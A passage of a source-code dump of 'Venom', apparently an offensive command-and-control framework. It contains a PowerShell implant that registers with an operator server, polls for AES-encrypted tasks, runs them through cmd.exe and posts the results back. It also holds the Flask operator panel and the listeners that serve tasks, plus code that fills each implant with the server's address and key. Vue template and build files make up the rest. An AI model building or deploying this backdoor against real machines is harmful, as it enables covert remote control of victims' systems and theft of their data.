287 | $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytess); 288 | $aesManaged.Dispose() 289 | [System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0) 290 | 291 | } 292 | function Convert-ASCII($ascii) { 293 | $letter = @() 294 | foreach ($char in $ascii){ 295 | $char = [int[]]$char 296 | $letter += [char[]]$char 297 | } 298 | $final = ("$letter").Replace(" ","") 299 | Return $final 300 | } 301 | 302 | 303 | $ip = "REPLACE_IP" 304 | $port = "REPLACE_PORT" 305 | $id = "REPLACE_ID" 306 | $key = "REPLACE_KEY" 307 | $scheme = "REPLACE_SCHEME" 308 | $reguri = ($scheme + ':' + "//$ip" + ':' + "$port/reg/$id") 309 | $name = (Invoke-WebRequest -UseBasicParsing -Uri $reguri -Method 'GET').Content 310 | $name=Convert-ASCII($name) 311 | if ($name -eq "Success"){ 312 | $taskuri = ($scheme + ':' + "//$ip" + ':' + "$port/task/$id") 313 | $responseuri = ($scheme + ':' + "//$ip" + ':' + "$port/task/results/$id") 314 | for (;;) { 315 | $n = Get-Random -Maximum 20 316 | $task = (Invoke-WebRequest -UseBasicParsing -Uri $taskuri -Method 'GET').Content 317 | $task=Convert-ASCII($task) 318 | 319 | if ($task -ne "") { 320 | $dtask = Decrypt-String $key $task 321 | $res = cmd.exe /c $dtask 322 | $data = Encrypt-String $key $res 323 | $response = (Invoke-WebRequest -UseBasicParsing -Uri $responseuri -body $data -ContentType "text/plain; charset=utf-8" -Method 'POST').Content 324 | } 325 | sleep $n 326 | } }''' 327 | 328 | def migrate(password): 329 | db.listeners.delete_many({}) 330 | db.agents.delete_many({}) 331 | try: 332 | db.operators.delete_one({'email': {'$eq': 'venom@venom.local'}}) 333 | except: 334 | pass 335 | db.operators.insert_one({ 336 | 'email': 'venom@venom.local', 337 | 'password': sha256(password.encode('utf-8')).hexdigest() 338 | }) 339 | if not db.implants.find_one({'type': 'Linux' }): 340 | db.implants.insert_one({'implant': implant_linux, 'type': 'Linux'}) 341 | if not db.implants.find_one({'type': 'Windows' }): 342 | db.implants.insert_one({'implant': implant_windows, 'type': 'Windows'}) 343 | -------------------------------------------------------------------------------- /controllers/jwt_utils.py: -------------------------------------------------------------------------------- 1 | from functools import wraps 2 | import jwt 3 | from flask import * 4 | 5 | 6 | ''' 7 | To do: 8 | 1- Add SameSite attribute to cookies 9 | ''' 10 | def token_required(secret): 11 | def decorator(f): 12 | @wraps(f) 13 | def decorated(*args, **kwargs): 14 | token = request.cookies.get('accessToken') 15 | if not token: 16 | return redirect('/login', 302) 17 | 18 | try: 19 | headers = jwt.get_unverified_header(token) 20 | except: 21 | return redirect('/login', 302) 22 | 23 | secret_key = secret 24 | 25 | if secret_key is None: 26 | return redirect('/login', 302) 27 | 28 | # Verify token is valid 29 | try: 30 | data = jwt.decode(token, secret_key, algorithms=['HS256']) 31 | except: 32 | return redirect('/login', 302) 33 | 34 | return f(*args, **kwargs) 35 | return decorated 36 | 37 | return decorator 38 | -------------------------------------------------------------------------------- /controllers/listener.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from controllers.db import * 3 | from http.server import BaseHTTPRequestHandler 4 | import os 5 | from controllers.AES import * 6 | from http.server import HTTPServer 7 | from threading import Thread 8 | from time import sleep 9 | 10 | 11 | class Listener(BaseHTTPRequestHandler): 12 | 13 | listenerTimeout = dict() 14 | 15 | def do_GET(self): 16 | # For testing 17 | if self.path == '/': 18 | self.send_response(200) 19 | self.end_headers() 20 | self.wfile.write(bytes('Listener Alive!', 'utf-8')) 21 | 22 | elif self.path.startswith('/reg/') == True and len(os.path.split(self.path)) == 2: 23 | try: 24 | agentID = os.path.split(self.path)[1] 25 | agentIP = self.client_address[0] 26 | db.agents.update_one( 27 | {'id': agentID}, {'$set': {'ip': agentIP}}) 28 | db.agents.update_one( 29 | {'id': agentID}, {'$set': {'status': 'alive'}}) 30 | #Start status timer countdown 31 | self.listenerTimeout['agent_%s' %(agentID)] = getAgent(agentID).get('timeout') 32 | timer = Thread(target = self.startTimer, args=(agentID,)) 33 | timer.start() 34 | self.send_response(200) 35 | self.end_headers() 36 | f = "Success" 37 | self.wfile.write(bytes(f, 'utf-8')) 38 | except: 39 | pass 40 | 41 | elif self.path.startswith('/task/') == True and len(os.path.split(self.path)) == 2: 42 | 43 | try: 44 | agentID = os.path.split(self.path)[1] 45 | task = checkTask(agentID) 46 | listenerID = getAgentListener(agentID) 47 | self.resetTimer(agentID) 48 | self.send_response(200) 49 | self.end_headers() 50 | if(task): 51 | # --------------------------------------------------------- 52 | cipher = encrypt(listenerID, task) 53 | self.wfile.write(bytes(cipher, 'utf-8')) 54 | # --------------------------------------------------------- 55 | else: 56 | self.wfile.write(bytes('', 'utf-8')) 57 | # No task available, shush the beacon 58 | except: 59 | pass 60 | 61 | def do_POST(self): 62 | if self.path.startswith('/task/results/') == True and len(os.path.split(self.path)) == 2: 63 | try: 64 | agentID = os.path.split(self.path)[1] 65 | self._set_headers() 66 | content_len = int(self.headers.get('content-length')) 67 | # --------------------------------------------------------- 68 | cipher = self.rfile.read(content_len) 69 | listenerID = getAgentListener(agentID) 70 | result = decrypt(listenerID, cipher) 71 | # --------------------------------------------------------- 72 | writeResult(agentID, result) 73 | self.send_response(200) 74 | clearTask(agentID) 75 | except: 76 | f = "Some unexpected error occured" 77 | self.send_error(500, f) 78 | 79 | def _set_headers(self): 80 | self.send_response(200) 81 | self.send_header('Content-type', 'text/html') 82 | self.end_headers() 83 | 84 | def startTimer(self, agentID): 85 | while True: 86 | sleep(1) 87 | 88 | self.listenerTimeout['agent_%s' % (agentID)] = self.listenerTimeout['agent_%s' % (agentID)] - 1 89 | #Timeout expired 90 | if (self.listenerTimeout['agent_%s' % (agentID)] == 0): 91 | db.agents.update_one( 92 | {'id': agentID}, {'$set': {'status': 'dead'}}) 93 | break 94 | 95 | 96 | def resetTimer(self, agentID): 97 | self.listenerTimeout['agent_%s' % (agentID)] = 60 -------------------------------------------------------------------------------- /requirments.txt: -------------------------------------------------------------------------------- 1 | flask 2 | regex 3 | argparse 4 | thread6 5 | pyjwt==1.7.1 6 | pycryptodome 7 | requests 8 | sockets 9 | pybase64 10 | pymongo 11 | -------------------------------------------------------------------------------- /static/app/fonts/MaterialIcons-Regular.586090b.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/static/app/fonts/MaterialIcons-Regular.586090b.ttf -------------------------------------------------------------------------------- /static/app/fonts/MaterialIcons-Regular.9219a80.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/static/app/fonts/MaterialIcons-Regular.9219a80.woff -------------------------------------------------------------------------------- /static/app/fonts/MaterialIcons-Regular.b661c28.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/static/app/fonts/MaterialIcons-Regular.b661c28.eot -------------------------------------------------------------------------------- /static/app/fonts/MaterialIcons-Regular.bca3a18.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/static/app/fonts/MaterialIcons-Regular.bca3a18.woff2 -------------------------------------------------------------------------------- /static/app/fonts/fontawesome-webfont.674f50d.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/static/app/fonts/fontawesome-webfont.674f50d.eot -------------------------------------------------------------------------------- /static/app/fonts/fontawesome-webfont.af7ae50.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/static/app/fonts/fontawesome-webfont.af7ae50.woff2 -------------------------------------------------------------------------------- /static/app/fonts/fontawesome-webfont.b06871f.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/static/app/fonts/fontawesome-webfont.b06871f.ttf -------------------------------------------------------------------------------- /static/app/fonts/fontawesome-webfont.fee66e7.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/static/app/fonts/fontawesome-webfont.fee66e7.woff -------------------------------------------------------------------------------- /static/app/js/manifest.71b7e65a268310130a09.js: -------------------------------------------------------------------------------- 1 | !function(r){var n=window.webpackJsonp;window.webpackJsonp=function(t,c,u){for(var p,f,i,a=0,l=[];a this.password === this.verify || "Password must match"; 7 | } 8 | }, 9 | methods: { 10 | validate() { 11 | if (this.$refs.loginForm.validate()) { 12 | // submit form to server/API here... 13 | axios({ 14 | method: 'post', 15 | url: '/login', 16 | data: { 17 | email: this.loginEmail, 18 | password: this.loginPassword 19 | } 20 | }).then( 21 | response => window.location.href = '/').catch( 22 | function (error) { 23 | // handle error 24 | alert(error.response.data) 25 | this.error = error.response.data 26 | 27 | }); 28 | 29 | } 30 | else if (this.$refs.registerForm.validate()) { 31 | axios({ 32 | method: 'post', 33 | url: '/register', 34 | data: { 35 | email: this.email, 36 | password: this.password 37 | } 38 | }).then( 39 | response => window.location.href = '/') 40 | .catch( 41 | function (error) { 42 | // handle error 43 | alert(error.response.data) 44 | this.error = error.response.data 45 | 46 | }); 47 | 48 | 49 | } 50 | }, 51 | reset() { 52 | this.$refs.form.reset(); 53 | }, 54 | resetValidation() { 55 | this.$refs.form.resetValidation(); 56 | } 57 | }, 58 | data: () => ({ 59 | dialog: true, 60 | tab: 0, 61 | tabs: [ 62 | {name:"Login", icon:"Venom-login"}, 63 | {name:"Register", icon:"Venom-register"} 64 | ], 65 | valid: true, 66 | 67 | firstName: "", 68 | lastName: "", 69 | email: "", 70 | password: "", 71 | verify: "", 72 | loginPassword: "", 73 | loginEmail: "", 74 | error: "", 75 | loginEmailRules: [ 76 | v => !!v || "Required", 77 | v => /.+@.+\..+/.test(v) || "E-mail must be valid" 78 | ], 79 | emailRules: [ 80 | v => !!v || "Required", 81 | v => /.+@.+\..+/.test(v) || "E-mail must be valid" 82 | ], 83 | 84 | show1: false, 85 | rules: { 86 | required: value => !!value || "Required.", 87 | min: v => (v && v.length >= 8) || "Min 8 characters" 88 | } 89 | }) 90 | }); -------------------------------------------------------------------------------- /templates/index.html: -------------------------------------------------------------------------------- 1 | Vue Admin Template
-------------------------------------------------------------------------------- /templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Venom 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 |
17 | 22 | 24 |  Venom 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | mdi-magnify 33 | 34 | 35 | 39 | 48 | 49 | 50 | 55 | Option {{ n }} 56 | 57 | 58 | 59 | 60 |
61 | 62 | 63 |
64 | 65 | 66 | 67 | 68 |
69 |
70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | Login 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 |
108 | 109 |
110 | 111 | 112 | Register 113 | 114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | -------------------------------------------------------------------------------- /venom.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import re 3 | from xmlrpc.client import boolean 4 | from flask import * 5 | from argparse import ArgumentParser 6 | from controllers.db import * 7 | from http.server import HTTPServer 8 | from controllers.listener import Listener 9 | from controllers.jwt_utils import * 10 | import time 11 | import ssl 12 | from threading import Thread 13 | from random import choices, seed 14 | from string import ascii_uppercase, digits, ascii_lowercase 15 | import jwt 16 | import os 17 | from datetime import datetime, timedelta 18 | from Crypto.Cipher import AES 19 | from Crypto.Util.Padding import pad, unpad 20 | from base64 import b64encode 21 | import socket as s 22 | from requests import get 23 | 24 | ''' TO DO: 25 | 1- Implement a one time registration feature (Not yet) 26 | 2- Intergrate a good unified success/error handling in all test cases (Not yet) 27 | 3- Agent skeletons shall be saved inside the db (Done) 28 | 4- Check for redundant listeners (same port) 29 | 5- Seperate listener creation and listener run 30 | ''' 31 | _SECRET_ = "".join(choices(ascii_uppercase + digits, k=20)) 32 | 33 | if __name__ == "__main__": 34 | 35 | app = Flask(__name__) 36 | app.config['MONGODB_SETTINGS'] = { 37 | 'db': 'users', 38 | 'host': 'localhost', 39 | 'port': 27017} 40 | _LISTENERS_ = dict() 41 | s = s.socket(s.AF_INET, s.SOCK_DGRAM) 42 | s.connect(("8.8.8.8", 80)) 43 | 44 | @app.route('/', methods=['GET']) 45 | @token_required(_SECRET_) 46 | def index(): 47 | return render_template('index.html') 48 | 49 | @app.route('/login', methods=['GET', 'POST']) 50 | def authenticate(): 51 | if(request.method == 'GET'): 52 | return render_template('login.html') 53 | 54 | elif(request.method == 'POST'): 55 | if(login(request.json.get('email'), request.json.get('password'))): 56 | payload = { 57 | 'iat': datetime.utcnow(), # Current time 58 | 'exp': datetime.utcnow() + timedelta(minutes=10), # Expiration time 59 | 'sub': request.json.get('email') 60 | } 61 | access_token = jwt.encode(payload, _SECRET_, algorithm='HS256') 62 | response = make_response() 63 | response.set_cookie("accessToken", access_token.decode()) 64 | return response 65 | else: 66 | return 'Wrong creds!', 401 67 | 68 | 69 | @app.route('/register', methods=['POST']) 70 | def registerOperator(): 71 | try: 72 | register(request.json.get('email'), request.json.get('password')) 73 | return 'Registered Successfully', 200 74 | except: 75 | return 'Registration failed!', 500 76 | 77 | # curl http://localhost:1337/listeners -XPOST -H "content-type: application/json" -d '{"action":"create","port":"443"}' -H "cookie: accessToken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NTE5NDY1NTEsImV4cCI6MTY1MTk0NzE1MSwic3ViIjoidmVub21AdmVub20ubG9jYWwifQ.2Qx4EWUe0DYcp1j4WplNpd0ddJt4L3nF6Mk19I-tl_8" 78 | @app.route('/listeners', methods=['GET', 'POST']) 79 | @token_required(_SECRET_) 80 | def listeners(): 81 | if(request.method == 'GET'): 82 | listeners = dict() 83 | listeners['listeners'] = [] 84 | i = 0 85 | for listener in getListeners(): 86 | #delete default mongo objectID 87 | del listener['_id'] 88 | listeners['listeners'].append(listener) 89 | return listeners , 200 90 | 91 | elif (request.method == 'POST'): 92 | if (request.json.get('action') == 'create' and request.json.get('port')): 93 | try: 94 | id = "".join(choices(digits, k=5)) 95 | port = int(request.json.get('port')) 96 | if not checkListenerPort(port): 97 | _LISTENERS_["listener_%s" % id] = HTTPServer( 98 | ('0.0.0.0', port), Listener) 99 | if(args.ssl): 100 | _LISTENERS_["listener_%s" % id].socket = ssl.wrap_socket(_LISTENERS_["listener_%s" % id].socket, server_side=True, certfile='./SSLKeys/server.pem', keyfile='./SSLKeys/server.key',ssl_version=ssl.PROTOCOL_TLS) 101 | Key = os.urandom(16) 102 | base64_bytes = b64encode(Key) 103 | AESKey = base64_bytes.decode("ascii") 104 | saveListener(id, port, AESKey) 105 | listener = Thread(target=_LISTENERS_["listener_%s" % id].serve_forever) 106 | listener.daemon = True 107 | listener.start() 108 | print(time.asctime(), "Start Server - %s:%s" % 109 | ('0.0.0.0', str(request.json.get('port')))) 110 | return 'Listener created successfully', 200 111 | else: 112 | return 'Listener with port %s already created!' % (str(port)), 206 113 | except: 114 | return 'Error while creating a listener!', 206 115 | 116 | elif (request.json.get('action') == 'delete'): 117 | if(request.json.get('ListenerId') and delListener(request.json.get('ListenerId'))): 118 | id = request.json.get('ListenerId') 119 | _LISTENERS_["listener_%s" % id].server_close() 120 | return 'Listener deleted successfully', 200 121 | else: 122 | return 'No Listener with specified ID found!', 206 123 | 124 | return 'Missing Parameters', 206 125 | 126 | # curl http://localhost:1337/implant -XPOST -H "content-type: application/json" -d '{"id":"26711","type":"linux"}' -H "cookie: accessToken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NTE4NjQ5MTksImV4cCI6MTY1MTg2NTUxOSwic3ViIjoidmVub21AdmVub20ubG9jYWwifQ.JtTaS9jnmPLBciG4gkt_tviYHNcUUU-jTRAEwo4Qyjg" 127 | @app.route('/implant', methods=['POST']) 128 | @token_required(_SECRET_) 129 | def implant(): 130 | if(request.json.get('type') and request.json.get('id')): 131 | try: 132 | type = request.json.get('type') 133 | listenerId = request.json.get('id') 134 | seed() 135 | agentID = "".join(choices(digits, k=5)) 136 | port = getListener(listenerId).get('port') 137 | key = getListener(listenerId).get('key') 138 | ip = s.getsockname()[0] 139 | registerAgent(agentID, type, listenerId, port) 140 | implant = getImplant(type) 141 | implant = implant.replace('REPLACE_IP', ip).replace( 142 | 'REPLACE_PORT', str(port)).replace('REPLACE_ID', agentID).replace('REPLACE_KEY', key) 143 | if(args.ssl): 144 | implant = implant.replace('REPLACE_SCHEME','https') 145 | else: 146 | implant = implant.replace('REPLACE_SCHEME','http') 147 | 148 | return Response(implant, mimetype='application/octet-stream'), 200 149 | except: 150 | return 'Listener with ID: %s not found!' % (request.json.get('id')), 206 151 | else: 152 | return 'Missing Parameters!' , 206 153 | 154 | @app.route('/api/getAgentStatusCount/', methods=['GET']) 155 | @token_required(_SECRET_) 156 | def getAgentStatusCount(status): 157 | if(status == '1'): 158 | return jsonify({ 159 | "agents": str(db.agents.count_documents({'status': {'$eq': 'alive' }})) 160 | }) 161 | elif(status == '2'): 162 | return jsonify({ 163 | "agents": str(db.agents.count_documents({'status': {'$eq': 'dead' }})) 164 | }) 165 | 166 | 167 | @app.route('/agents', methods=['POST']) 168 | @token_required(_SECRET_) 169 | def agents(): 170 | 171 | status = request.json.get('status') 172 | agents = dict() 173 | agents['agents'] = [] 174 | i = 0 175 | if (status == 'all'): 176 | for agent in getAgents(): 177 | del agent['_id'] 178 | del agent['status'] 179 | del agent['task'] 180 | del agent['taskResult'] 181 | del agent['bindListenerID'] 182 | del agent['timeout'] 183 | agents['agents'].append(agent) 184 | return agents , 200 185 | 186 | else: 187 | for agent in getAgents(): 188 | #delete default mongo objectID 189 | if(agent['status'] != status): 190 | continue 191 | del agent['_id'] 192 | del agent['status'] 193 | del agent['task'] 194 | del agent['taskResult'] 195 | del agent['bindListenerID'] 196 | del agent['timeout'] 197 | agents['agents'].append(agent) 198 | return agents , 200 199 | 200 | 201 | @app.route('/deleteAgent', methods=['POST']) 202 | @token_required(_SECRET_) 203 | def deleteagent(): 204 | try: 205 | deleteAgent(request.json.get('id')) 206 | return 'Agent deleted', 200 207 | except: 208 | return 'Error while deleting Agent!', 200 209 | 210 | @app.route('/venom', methods= ['POST']) 211 | @token_required(_SECRET_) 212 | def venom(): 213 | if(request.json.get('id') and request.json.get('task')): 214 | try: 215 | assignTask(request.json.get('id'), request.json.get('task')) 216 | #Wait for maximum time to make sure result is sent back by agent. 217 | time.sleep(20) 218 | taskResult = readTaskResult(request.json.get('id')) 219 | if(taskResult): 220 | temp = taskResult 221 | clearTaskResult(request.json.get('id')) 222 | return temp 223 | 224 | else: 225 | return 'Agent didn\'t return a response or some error occured', 200 226 | except: 227 | 228 | return 'Error!' , 206 229 | 230 | 231 | @app.route('/getTime', methods= ['GET']) 232 | @token_required(_SECRET_) 233 | def getTime(): 234 | try: 235 | return get('https://timeapi.io/api/Time/current/zone?timeZone=Europe/Amsterdam').text, 200 236 | except: 237 | return 'Error getting date', 206 238 | 239 | 240 | 241 | parser = ArgumentParser(description='Welcome to VENOM') 242 | parser.add_argument('--port', type=int, required=True, default='8080', help='Port number, Default set to 8080') 243 | parser.add_argument('--ssl', action='store_true', required=False, default=False, help='To enable SSL for Listeners, Disabled by default') 244 | args = parser.parse_args() 245 | password = "".join(choices(ascii_lowercase + digits, k = 12)) 246 | print("Creating a default account! ✅ ...\nEmail: venom@venom.local\nPassword: %s" % (password)) 247 | migrate(password) 248 | app.run(host='0.0.0.0', port=args.port, debug=True) 249 | -------------------------------------------------------------------------------- /vue-static/.babelrc: -------------------------------------------------------------------------------- 1 | { 2 | "presets": [ 3 | ["env", { 4 | "modules": false, 5 | "targets": { 6 | "browsers": ["> 1%", "last 2 versions", "not ie <= 8"] 7 | } 8 | }], 9 | "stage-2" 10 | ], 11 | "plugins": ["transform-vue-jsx", "transform-runtime"] 12 | } 13 | -------------------------------------------------------------------------------- /vue-static/.editorconfig: -------------------------------------------------------------------------------- 1 | root = true 2 | 3 | [*] 4 | charset = utf-8 5 | indent_style = space 6 | indent_size = 2 7 | end_of_line = lf 8 | insert_final_newline = true 9 | trim_trailing_whitespace = true 10 | -------------------------------------------------------------------------------- /vue-static/.postcssrc.js: -------------------------------------------------------------------------------- 1 | // https://github.com/michael-ciniawsky/postcss-load-config 2 | 3 | module.exports = { 4 | "plugins": { 5 | "postcss-import": {}, 6 | "postcss-url": {}, 7 | // to edit target browsers: use "browserslist" field in package.json 8 | "autoprefixer": {} 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /vue-static/BACKERS.md: -------------------------------------------------------------------------------- 1 |

Sponsors & Backers

2 | -------------------------------------------------------------------------------- /vue-static/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Fatih Ünlü 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /vue-static/README.md: -------------------------------------------------------------------------------- 1 | # Vue Admin Template 2 | Sample Admin Template based on Vuejs & Vuetify. 3 | 4 | ## Introduction 5 | Vue Admin Template is a Vue.js Based Admin Template. This template uses the vuetify components and styles. 6 | 7 | Build and deploy automized with github Actions & github Pages 8 | 9 | ## Demo 10 | [Live Demo](https://fatihunlu.github.io/vue-admin-template) 11 | 12 | ## Preview 13 | 14 | ![Preview](https://github.com/fatihunlu/vue-admin-template/blob/master/static/template.gif) 15 | 16 | 17 | ### Reference 18 | 19 | * [Vue.js](https://vuejs.org/) 20 | * [Vuetifyjs](https://vuetifyjs.com/) 21 | * [VueChartKick](https://github.com/ankane/vue-chartkick) 22 | * [vue-fullcalendar](https://github.com/Wanderxx/vue-fullcalendar) 23 | * [vue-swatches](https://saintplay.github.io/vue-swatches/#sub-using-a-preset) 24 | 25 | ## Build Setup 26 | 27 | ``` bash 28 | # install dependencies 29 | npm install 30 | 31 | # serve with hot reload at localhost:8080 32 | npm run dev 33 | 34 | # build for production with minification 35 | npm run build 36 | 37 | # build for production and view the bundle analyzer report 38 | npm run build --report 39 | ``` 40 | For a detailed explanation on how things work, check out the [guide](http://vuejs-templates.github.io/webpack/) and [docs for vue-loader](http://vuejs.github.io/vue-loader). 41 | 42 | ### How can I support developers? 43 | - Star my GitHub repo :star: 44 | - Create pull requests, submit bugs, suggest new features or documentation updates :wrench: 45 | 46 | ## License 47 | 48 | [MIT](https://github.com/fatihunlu/vue-admin-template/blob/master/LICENSE) license. 49 | 50 | Copyright (c) 2018-present fatihunlu 51 | -------------------------------------------------------------------------------- /vue-static/build/build.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | require('./check-versions')() 3 | 4 | process.env.NODE_ENV = 'production' 5 | 6 | const ora = require('ora') 7 | const rm = require('rimraf') 8 | const path = require('path') 9 | const chalk = require('chalk') 10 | const webpack = require('webpack') 11 | const config = require('../config') 12 | const webpackConfig = require('./webpack.prod.conf') 13 | 14 | const spinner = ora('building for production...') 15 | spinner.start() 16 | 17 | rm(path.join(config.build.assetsRoot, config.build.assetsSubDirectory), err => { 18 | if (err) throw err 19 | webpack(webpackConfig, (err, stats) => { 20 | spinner.stop() 21 | if (err) throw err 22 | process.stdout.write(stats.toString({ 23 | colors: true, 24 | modules: false, 25 | children: false, // If you are using ts-loader, setting this to true will make TypeScript errors show up during build. 26 | chunks: false, 27 | chunkModules: false 28 | }) + '\n\n') 29 | 30 | if (stats.hasErrors()) { 31 | console.log(chalk.red(' Build failed with errors.\n')) 32 | process.exit(1) 33 | } 34 | 35 | console.log(chalk.cyan(' Build complete.\n')) 36 | console.log(chalk.yellow( 37 | ' Tip: built files are meant to be served over an HTTP server.\n' + 38 | ' Opening index.html over file:// won\'t work.\n' 39 | )) 40 | }) 41 | }) 42 | -------------------------------------------------------------------------------- /vue-static/build/check-versions.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | const chalk = require('chalk') 3 | const semver = require('semver') 4 | const packageConfig = require('../package.json') 5 | const shell = require('shelljs') 6 | 7 | function exec (cmd) { 8 | return require('child_process').execSync(cmd).toString().trim() 9 | } 10 | 11 | const versionRequirements = [ 12 | { 13 | name: 'node', 14 | currentVersion: semver.clean(process.version), 15 | versionRequirement: packageConfig.engines.node 16 | } 17 | ] 18 | 19 | if (shell.which('npm')) { 20 | versionRequirements.push({ 21 | name: 'npm', 22 | currentVersion: exec('npm --version'), 23 | versionRequirement: packageConfig.engines.npm 24 | }) 25 | } 26 | 27 | module.exports = function () { 28 | const warnings = [] 29 | 30 | for (let i = 0; i < versionRequirements.length; i++) { 31 | const mod = versionRequirements[i] 32 | 33 | if (!semver.satisfies(mod.currentVersion, mod.versionRequirement)) { 34 | warnings.push(mod.name + ': ' + 35 | chalk.red(mod.currentVersion) + ' should be ' + 36 | chalk.green(mod.versionRequirement) 37 | ) 38 | } 39 | } 40 | 41 | if (warnings.length) { 42 | console.log('') 43 | console.log(chalk.yellow('To use this template, you must update following to modules:')) 44 | console.log() 45 | 46 | for (let i = 0; i < warnings.length; i++) { 47 | const warning = warnings[i] 48 | console.log(' ' + warning) 49 | } 50 | 51 | console.log() 52 | process.exit(1) 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /vue-static/build/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/build/logo.png -------------------------------------------------------------------------------- /vue-static/build/utils.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | const path = require('path') 3 | const config = require('../config') 4 | const ExtractTextPlugin = require('extract-text-webpack-plugin') 5 | const packageConfig = require('../package.json') 6 | 7 | exports.assetsPath = function (_path) { 8 | const assetsSubDirectory = process.env.NODE_ENV === 'production' 9 | ? config.build.assetsSubDirectory 10 | : config.dev.assetsSubDirectory 11 | 12 | return path.posix.join(assetsSubDirectory, _path) 13 | } 14 | 15 | exports.cssLoaders = function (options) { 16 | options = options || {} 17 | 18 | const cssLoader = { 19 | loader: 'css-loader', 20 | options: { 21 | sourceMap: options.sourceMap 22 | } 23 | } 24 | 25 | const postcssLoader = { 26 | loader: 'postcss-loader', 27 | options: { 28 | sourceMap: options.sourceMap 29 | } 30 | } 31 | 32 | // generate loader string to be used with extract text plugin 33 | function generateLoaders (loader, loaderOptions) { 34 | const loaders = options.usePostCSS ? [cssLoader, postcssLoader] : [cssLoader] 35 | 36 | if (loader) { 37 | loaders.push({ 38 | loader: loader + '-loader', 39 | options: Object.assign({}, loaderOptions, { 40 | sourceMap: options.sourceMap 41 | }) 42 | }) 43 | } 44 | 45 | // Extract CSS when that option is specified 46 | // (which is the case during production build) 47 | if (options.extract) { 48 | return ExtractTextPlugin.extract({ 49 | use: loaders, 50 | fallback: 'vue-style-loader' 51 | }) 52 | } else { 53 | return ['vue-style-loader'].concat(loaders) 54 | } 55 | } 56 | 57 | // https://vue-loader.vuejs.org/en/configurations/extract-css.html 58 | return { 59 | css: generateLoaders(), 60 | postcss: generateLoaders(), 61 | less: generateLoaders('less'), 62 | sass: generateLoaders('sass', { indentedSyntax: true }), 63 | scss: generateLoaders('sass'), 64 | stylus: generateLoaders('stylus'), 65 | styl: generateLoaders('stylus') 66 | } 67 | } 68 | 69 | // Generate loaders for standalone style files (outside of .vue) 70 | exports.styleLoaders = function (options) { 71 | const output = [] 72 | const loaders = exports.cssLoaders(options) 73 | 74 | for (const extension in loaders) { 75 | const loader = loaders[extension] 76 | output.push({ 77 | test: new RegExp('\\.' + extension + '$'), 78 | use: loader 79 | }) 80 | } 81 | 82 | return output 83 | } 84 | 85 | exports.createNotifierCallback = () => { 86 | const notifier = require('node-notifier') 87 | 88 | return (severity, errors) => { 89 | if (severity !== 'error') return 90 | 91 | const error = errors[0] 92 | const filename = error.file && error.file.split('!').pop() 93 | 94 | notifier.notify({ 95 | title: packageConfig.name, 96 | message: severity + ': ' + error.name, 97 | subtitle: filename || '', 98 | icon: path.join(__dirname, 'logo.png') 99 | }) 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /vue-static/build/vue-loader.conf.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | const utils = require('./utils') 3 | const config = require('../config') 4 | const isProduction = process.env.NODE_ENV === 'production' 5 | const 